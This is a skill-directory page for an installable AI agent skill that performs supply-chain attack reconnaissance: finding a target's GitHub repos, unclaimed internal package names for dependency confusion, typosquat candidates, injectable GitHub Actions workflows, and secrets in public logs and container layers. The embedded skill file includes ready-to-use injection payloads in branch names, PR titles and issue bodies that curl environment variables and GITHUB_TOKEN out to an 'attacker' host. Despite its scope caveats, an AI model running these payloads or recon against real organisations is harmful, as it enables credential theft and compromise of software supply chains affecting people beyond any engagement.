SkillAgentSearch skills...

supply-chain-attack-recon

External recon for software supply-chain attack surface — package-namespace squatting candidates, dependency-confusion vulnerabilities, GitHub Actions injection openings, container image registry exposure, SBOM mining, internal-package-name leakage, and CI/CD configuration exposure.

Install / Use

npx skills add elementalsouls/Claude-BugHunter --skill supply-chain-attack-recon

Installs into whichever agent you are using.

About this skill
📄

SKILL.md

Installable skill definition

Quality Score

87/100

Category

Automation

Supported Platforms

Universal

Our assessment of supply-chain-attack-recon

supply-chain-attack-recon scores 87/100 on our quality scale, 950th of 2,035 Automation skills we index (top 47%).

Its SKILL.md is 41 KB long, well organised into 104 sections with 17 code examples: long enough that it reads more like full documentation than a focused instruction file, which agents can find harder to follow.

With 4,669 GitHub stars, it is one of the more widely adopted skills in the catalogue.

Substance
21/30
Structure
20/20
Description
15/15
Adoption
16/20
Freshness
15/15

Maintenance, license and trust

  • The repository was last updated 2 days ago, so supply-chain-attack-recon is actively maintained.
  • It is released under the MIT license, a permissive license that allows use, modification and commercial use with attribution.
  • Its trust signals score 100/100, with no cautions. These come from repository metadata, not a code audit — read the skill file before letting an agent act on it.

supply-chain-attack-recon compared with similar skills

All 4 of these similar skills score higher than supply-chain-attack-recon; compare them before choosing.

SkillScoreStarsUpdatedFormat
supply-chain-attack-recon (this skill)by elementalsouls874.7k2d agoSKILL.md
Agent-Reachby Panniantong10085.9k13d agoCLAUDE.md
rufloby ruvnet10073.4ktodayCLAUDE.md
Scraplingby D4Vinci10084.2k1d agoMCP Server
LocalAIby mudler10049.3ktodayMCP Server

Frequently asked questions

How do I install supply-chain-attack-recon?
Run npx skills add elementalsouls/Claude-BugHunter --skill supply-chain-attack-recon. The install tabs above show the steps for each supported agent.
Which AI agents does supply-chain-attack-recon work with?
It is written for Universal, as a SKILL.md file. Other agents that read the same format can often use it too.
Is supply-chain-attack-recon safe to use?
It is MIT-licensed and scores 100/100 on trust signals. Skills are instructions an agent will follow, so read the file before installing it and do not approve commands you do not understand.
Is supply-chain-attack-recon still maintained?
The repository was last updated 2 days ago, so supply-chain-attack-recon is actively maintained.

name: supply-chain-attack-recon description: External recon for software supply-chain attack surface — package-namespace squatting candidates, dependency-confusion vulnerabilities, GitHub Actions injection openings, container image registry exposure, SBOM mining, internal-package-name leakage, and CI/CD configuration exposure. Reconnaissance and identification ONLY — actual package publishing / typosquat attacks are EXTERNAL-OFFENSIVE and require explicit written sign-off because they can affect the entire npm/PyPI ecosystem. Use when the target has a public GitHub org, when their build artifacts/SBOMs are reachable, when their docker images are on Docker Hub/GHCR, or when you find internal package names in their JS bundles. sources: alex-birsan-dependency-confusion, supply-chain-research, github-actions-security, cisa-advisories, mandiant-tag, github-security-blog, snyk-research report_count: 12

When to use

Trigger when:

  • Target has a public GitHub organization (find via OSINT)
  • JS bundles reference internal-looking package names (@target-internal/..., target-utils, target-shared)
  • Build logs, SBOMs, or package-lock.json files are publicly accessible
  • Target uses CI/CD that's partially public (GitHub Actions, GitLab CI, Bitrise)
  • Docker images on Docker Hub/GHCR/Quay belong to target org
  • Findings include npmrc/pip.conf/gradle.properties with internal registry URLs
  • .github/workflows/*.yml files reference internal tooling

Do NOT use for:

  • Internal-network artifact registries (out of scope per external boundary)
  • Actually publishing typosquats / dep-confusion packages without explicit OK
  • Compromising upstream open-source projects (massive blast radius — illegal in most jurisdictions without authorization)

The supply-chain attack surface map

Target Org
├── Public GitHub Org → workflow files → secrets exfil opportunities
├── Internal package names in JS/Android bundles → dependency confusion
├── Docker images on public registries → secrets in layers, RCE on pull
├── SBOM / artifact metadata → exact dep versions for known-vuln chaining
├── npmrc / pip.conf in repos → internal registry URL disclosure
├── External package dependencies → typosquat name candidates
└── Build/release pipelines → injection if pull_request_target etc.

Step 1 — GitHub org discovery

TARGET="<brand>"  # set to target brand name

# Direct guesses
for guess in $TARGET "${TARGET}-tech" "${TARGET}corp" "${TARGET}-io" "${TARGET}-eng"; do
  curl -sI "https://github.com/$guess" | grep -E "HTTP|status" | head -1
done

# Via WHOIS / email-domain → GitHub search
gh search users --owner-affiliations=organization --query "$TARGET" --limit 10

# Via employees → reverse from social media + GitHub profile
# Many employees list their employer org on their GitHub profile

Step 2 — Enumerate public repos for sensitive artifacts

ORG="targetorg"

# List public repos
gh repo list "$ORG" --limit 100 --json name,description,visibility,defaultBranchRef

# Look for high-signal repo names
gh repo list "$ORG" --limit 100 --json name | jq -r '.[].name' | grep -iE "internal|infra|deploy|config|secret|setup|sdk|api"

# Clone all (small org) or selectively
gh repo clone "$ORG/$repo_name"

Step 3 — Internal package-name discovery

From JS bundles

# JS bundles are the easiest source of internal npm names
curl -sk https://target.com/main.js | grep -oE '@[a-z-]+/[a-z-]+' | sort -u
curl -sk https://target.com/main.js | grep -oE 'require\("[^"]+"\)' | sort -u

# Look for scoped names that are NOT public on npm
for pkg in @target/utils @target-internal/api @companybrand/sdk; do
  status=$(curl -sI "https://registry.npmjs.org/$pkg" | head -1 | awk '{print $2}')
  echo "  $pkg → $status"
  # 404 → name unclaimed on public npm → DEPENDENCY-CONFUSION CANDIDATE
done

From GitHub repo package.json files

# Public repos with package.json that reference internal scopes
for repo in $(gh repo list "$ORG" --limit 50 --json name --jq '.[].name'); do
  pkg=$(gh api "repos/$ORG/$repo/contents/package.json" --jq '.content' 2>/dev/null | base64 -d 2>/dev/null)
  echo "$pkg" | jq -r '.dependencies // {} | keys[]' 2>/dev/null | grep -E '^@[a-z-]+/'
done | sort -u

From Python projects

# Internal pip package names
for repo in $(gh repo list "$ORG" --limit 50 --json name --jq '.[].name'); do
  gh api "repos/$ORG/$repo/contents/requirements.txt" --jq '.content' 2>/dev/null | base64 -d 2>/dev/null
done | sort -u | grep -vE '^(requests|django|flask|numpy|pandas|...common)'

Step 4 — Dependency-confusion vulnerability check

For each internal-looking package name discovered:

NAME="@target-internal/utils"   # example

# npm check
curl -sI "https://registry.npmjs.org/$NAME" | head -1
# 404 → name is registerable → DEPENDENCY-CONFUSION POSSIBLE

# pypi check (no scopes, just name)
NAME="target_utils"
curl -sI "https://pypi.org/project/$NAME/" | head -1
# 404 → name is registerable

# rubygems
curl -sI "https://rubygems.org/api/v1/gems/$NAME.json" | head -1

# Go modules — slightly different, since module names are URLs
# Check if module path is reachable
curl -sI "https://proxy.golang.org/github.com/$ORG/$NAME/@latest" | head -1

Severity calibration: Just because a name is unclaimed doesn't mean it's exploitable. You also need:

  1. Evidence the target's BUILD SYSTEM resolves names from public registries (not just their internal one)
  2. OR evidence the target's package manager is configured insecurely (e.g., .npmrc without @scope:registry= mapping)
  3. OR the package would be installed by their builds (it's actually in package.json, not just referenced in dead code)

A 404 on registry without supporting context is INFORMATIONAL only.


Step 5 — Typosquat candidates (around external dependencies)

For each external public dependency the target uses:

# Common typosquat patterns:
# Original: "react-router-dom"
# Typos: 
#   "react-router-doms" (extra s)
#   "react-routter-dom" (double t)
#   "react-rotuer-dom" (transposed)
#   "react--router-dom" (double dash)
#   "react-router-dorn" (m→rn)
#   "reactrouterdom" (no dashes)

# Generate candidates
python3 -c "
import sys
name='react-router-dom'
for i in range(len(name)):
    print(name[:i] + name[i+1:])   # delete
    if i < len(name)-1:
        print(name[:i] + name[i+1] + name[i] + name[i+2:])  # transpose
"

# Check which candidates are UNCLAIMED on the registry
for candidate in ...; do
  status=$(curl -sI "https://registry.npmjs.org/$candidate" | head -1 | awk '{print $2}')
  [ "$status" = "404" ] && echo "  UNCLAIMED: $candidate"
done

⚠ EXTERNAL-OFFENSIVE NOTE: publishing a typosquat package to a public registry is an attack on the wider ecosystem. NEVER do this without explicit, written, scope-clarified sign-off. It can affect users outside your engagement and may be illegal.


Step 6 — GitHub Actions workflow injection scan

For each public repo with .github/workflows/:

for repo in $(gh repo list "$ORG" --limit 50 --json name --jq '.[].name'); do
  workflows=$(gh api "repos/$ORG/$repo/contents/.github/workflows" --jq '.[].name' 2>/dev/null)
  for wf in $workflows; do
    content=$(gh api "repos/$ORG/$repo/contents/.github/workflows/$wf" --jq '.content' 2>/dev/null | base64 -d 2>/dev/null)
    echo "=== $repo/$wf ==="
    
    # High-risk patterns:
    # 1. pull_request_target (runs with secrets on PR from forks)
    echo "$content" | grep -E 'pull_request_target'
    
    # 2. Untrusted context interpolation
    echo "$content" | grep -E '\$\{\{[^}]*github\.(event|head_ref|pull_request)[^}]*\}\}'
    
    # 3. ${{ github.event.* }} into shell run blocks
    echo "$content" | grep -B1 -A2 'run:' | grep -E '\$\{\{ ?github\.event\.'
    
    # 4. checkout of PR head with elevated perms
    echo "$content" | grep -E 'ref:.*pull_request|head_ref'
    
    # 5. Self-hosted runner without isolation
    echo "$content" | grep -E 'runs-on:.*self-hosted'

    # 6. Unpinned third-party actions — mutable tag (@v1, @main) vs pinned (@<40-char sha>)
    #    Mutable tags can be repointed by a compromised action repo (see case #9, tj-actions/changed-files).
    echo "$content" | grep -E 'uses: *[^ ]+/[^ ]+@(v?[0-9]+([.][0-9]+)*|main|master|latest)\b' | grep -v '@[0-9a-f]\{40\}'
  done
done

Injection patterns to flag (severity guide)

| Pattern | Severity | |---|---| | pull_request_target + actions/checkout with ref: pull_request.head.sha + uses repo secrets | Critical — RCE on runner with org secrets | | ${{ github.event.pull_request.title }} interpolated into shell | Critical — script injection via PR title | | Third-party action pinned to a mutable tag (uses: org/repo@v1 / @main) instead of a commit SHA | High — repointable supply-chain vector (see case #9) | | Self-hosted runner reachable from public repo workflows | High — persistent attacker pivot | | Issue-comment-triggered workflow that runs gh with token | High | | Workflow downloads from URL that target controls | Medium |

GitHub Actions context injection sinks (branch name, PR title, issue body)

Untrusted context flowing from PR metadata into run: blocks is a classic injection vector. Test payloads:

# Malicious branch name (test in a fork PR):
git checkout -b 'feat/x"; curl https://attacker/?d=$(env | base64);"'
git push origin 'feat/x"; curl https://attacker/?d=$(env | base64);"'

# Malicious PR title (create a test PR with this title):
PR_TITLE='x"; curl https://attacker/?d=$(echo $GITHUB_TOKEN | base64);"'

# Malicious issue body:
ISSUE_BODY='x"; curl https://attacker/?leak=$(git config user.name);"'

# Then watch workflow logs. If the injected commands execute, secrets are exfil'd.

Public GitHub Actions run logs (leaks secrets)

Actions logs are public by default on public repos. Look for:

# List all Action runs for a repo
gh api repos/OWNER/REPO/actions/runs --jq '.workflow_runs[] | {id, name, head_branch, status, conclusion}'

# Fetch logs from a run
gh api repos/OWNER/REPO/actions/runs/<id>/logs --jq '.logs' | base64 -d

# Search logs for common leakage patterns
gh api repos/OWNER/REPO/actions/runs/<id>/logs | grep -iE 'token|key|secret|password|credential|aws_'

Leaked secrets in logs = direct credential exfil; severity depends on the token type (GitHub PAT, npm token, AWS key, etc.).

Static detection of Actions injection sinks with zizmor

For high-confidence automated flagging, run the zizmor analyzer on all workflow files:

# Install zizmor (Rust-based, from https://github.com/woodruffw/zizmor)
cargo install zizmor

# Scan all workflows
zizmor .github/workflows/*.yml

# Output includes: pull_request_target, mutable-tag uses, context interpolation, etc.
# Sort findings by risk tier

Zizmor saves manual regex work and catches edge cases (e.g., indirect context interpolation via variable references).


Step 7 — Docker / container image registry mining

# Docker Hub
curl -s "https://hub.docker.com/v2/repositories/$ORG/?page_size=100" | jq -r '.results[].name'

# GHCR (GitHub Container Registry) — public images visible in repo packages tab
gh api "users/$ORG/packages?package_type=container" 2>/dev/null
gh api "orgs/$ORG/packages?package_type=container" 2>/dev/null

# For each image, list tags
for img in image1 image2; do
  curl -s "https://hub.docker.com/v2/repositories/$ORG/$img/tags?page_size=20" | jq -r '.results[].name'
done

# Pull and inspect layers
docker pull "$ORG/$img:latest"
docker history --no-trunc "$ORG/$img:latest"

# Mine layers for secrets
docker save "$ORG/$img:latest" -o /tmp/image.tar
mkdir -p /tmp/img && tar -xf /tmp/image.tar -C /tmp/img
find /tmp/img -name "*.tar*" -exec tar -xf {} -C /tmp/img/extracted \;
# Then run gitleaks / trufflehog over extracted filesystem
trufflehog filesystem /tmp/img/

Truncated for display — read the full file on GitHub.

Related Skills

View on GitHub
GitHub Stars4.7k
CategoryAutomation
Updated2d ago
Forks704

Languages

Python

Trust signals

100/100

From repository metadata: license, adoption, age and documentation. Not a code audit — see the Safety scan above for what the skill file itself contains.

No cautions